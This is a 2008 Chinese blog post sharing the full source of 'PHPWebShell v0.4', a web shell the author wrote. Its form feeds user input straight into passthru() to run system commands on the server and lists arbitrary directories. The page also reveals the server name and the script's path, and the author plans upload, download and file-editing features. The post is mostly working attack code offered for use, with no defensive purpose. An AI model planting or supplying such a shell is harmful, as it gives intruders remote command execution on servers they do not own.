«
PHP Shell的编写(改进版)

时间:2008-5-31    作者:Deri    分类: 分享


   <p>  以前写过一个没有任何技术含量的PHPCMDShell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHPShell,希望大家喜欢!<p>  程序介绍:</p><p>  程序:PHPWebShell</p><p>  版本:v0.4</p><p>  功能:</p><p>  1.可以支持目前主流的操作系统:Win32/*nix/*BSD</p><p>  2.执行系统命令/程序</p><p>  3.浏览目录</p><p>  未来功能:</p><p>  1.支持在线上传/下载文件功能</p><p>  2.支持在线新建/删除/添加/修改文件功能</p><p>  程序代码:</p><code><html><br /><head><br /><title>PHPWebShellv0.4</title><br /><!--定义文件样式--><br /><style><br /><!--<br />.input{BORDER-RIGHT:#8888881pxsolid;BORDER-TOP:#8888881pxsolid;BACKGROUND:#ffffff;BORDER-LEFT:#8888881pxsolid;BORDER-BOTTOM:#8888881pxsolid;FONT-FAMILY:"Verdana","Arial"font-color:#ffffff;FONT-SIZE:9pt;}<br />.font{FONT-SIZE:9pt;}<br />.fonts{FONT-SIZE:15pt;}<br />TABLE{FONT-SIZE:9pt;COLOR:#006666}<br />A{FONT-SIZE:9pt;COLOR:#6666cc;TEXT-DECORATION:none}<br />A:hover{FONT-SIZE:9pt;COLOR:#ff3333;TEXT-DECORATION:none}<br />BODY<br />{  SCROLLBAR-FACE-COLOR:#ffffff;<br />  SCROLLBAR-HIGHLIGHT-COLOR:#6c6c90;<br />  SCROLLBAR-SHADOW-COLOR:#fcfcfc;<br />  SCROLLBAR-3DLIGHT-COLOR:#fcfcfc;<br />  SCROLLBAR-ARROW-COLOR:#240024;<br />  SCROLLBAR-TRACK-COLOR:#fcfcfc;<br />  SCROLLBAR-DARKSHADOW-COLOR:#48486c;<br />  SCROLLBAR-BASE-COLOR:#fcfcfc<br />}<br />--><br /></STYLE><br /></head><br /><bodybgcolor="#eeeeee"text="#000000"><br /><center><fontsize=3color=redclass=fonts><b>PHPWebShell</b></font>v0.4<br /><fontsize=2color="000000"class=font>适用系统:Win32/Linux/Unix/BSD</font><br /><FORMMETHOD=POSTACTION="<?echo$PHP_SELF?>">//获取脚本本身<br /><fontclass=font>输入命令</font><INPUTTYPE="text"NAME="cmd"size=20class=input><br /><INPUTTYPE="submit"value="执行"class=input><br /><fontclass=font>输入目录</font><INPUTTYPE="text"NAME="dir"size=20class=input><br /><INPUTTYPE="submit"value="浏览"class=input><br /></FORM><br /></center><br /><pre><br /><fontsize=2color="000000"class=font><br /><?php<br />echo"服务器地址:<ahref="http://$_SERVER[SERVER_NAME]">$_SERVER[SERVER_NAME]</a><br />";//显示服务器域名或IP地址<br />echo"本文件路径:$_SERVER[PATH_TRANSLATED]"; //显示文件所在路径<br />?><br /><?php<br />if(!empty($cmd)){<br />echo"执行<fontcolor=red>$cmd</font>命令后的结果:<br />";//执行命令后的提示<br />}<br />if(!empty($dir)){<br />echo"浏览目录<fontcolor=red>$dir</font>的结果:<br />";//查看目录后的提示<br />}<br />?><br /><hrsize=1><br /><?php<br />if(empty($cmd)&&empty($dir)){//判断有没有输入命令,如果没有则出现错误提示<br />  echo"请输入你要执行的命令或要浏览的目录!<br />(请确定系统有相应的命令或目录及相应操作的权限)<br />";<br />}<br />@passthru($cmd);//利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(),popen(),Exec()等<br />$f=@opendir($dir); //利用opendir()函数来获取目录信息赋值给变量<br />while($file=@readdir($f)){//使用readdir()函数循环读取目录信息<br />  echo"$file<br />";//分行显示获取的目录信息<br />}<br />?><br /></font><br /></pre><br /></body><br /></html></code></p>